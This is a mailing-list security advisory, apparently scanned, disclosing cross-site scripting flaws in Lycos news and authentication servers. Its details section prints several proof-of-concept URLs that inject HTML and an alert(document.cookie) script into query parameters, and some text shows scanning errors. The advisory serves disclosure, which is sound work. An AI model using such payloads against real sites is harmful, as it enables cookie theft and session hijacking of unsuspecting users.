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The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam w

site_http://www.securiteam.com
— — promotion

Latest attack techniques.
You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest
techniques from a world—class research group.

Learn more at http://www.coresecurity.com/promos/sit_el,
or call 617-399-6980

Lycos Authenticating Systems and Lycos News Server Vulnerabilities

SUMMARY

A cross site security vulnerability has been discovered in Lycos's
Authentication servers. The vulnerability allows remote attacker to inject
code into the form that handles the login process.

DETAILS

Examples:

http://news.lycos.com/news/photo.asp?section=BreakingPhotos&photold=352417">< H1>xss in Lycos
WebSites</h1>

http://news.lycos.com/news/photo.asp?section=BreakingPhotos&photold=352417"><
script>alert(document.cookie);</script>

http://news.lycos.com/news/photo.asp?section=BreakingPhotos&photold=352417">< iframe></iframe>
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http://ldbauth.lycos.com/cgi-bin/mayal.ogin?m_CBURL=">< h1>XSS in Lycos
Authenticating Servers</h1>< a href="

http://ldbauth.lycos.com/cgi-bin/mayal.ogin?m_CBURL="><
script>alert(document.cookie);</script>

ADDITIONAL INFORMATION

The information has been provided by <mailto:novappc@novappc.com> Lorenzo
Hernandez Garcia—Hierro.

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list—unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe @securiteam.com

DISCLAIMER:

The information in this bulletin is provided "AS 1S" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequenti
loss of business profits or special damages.
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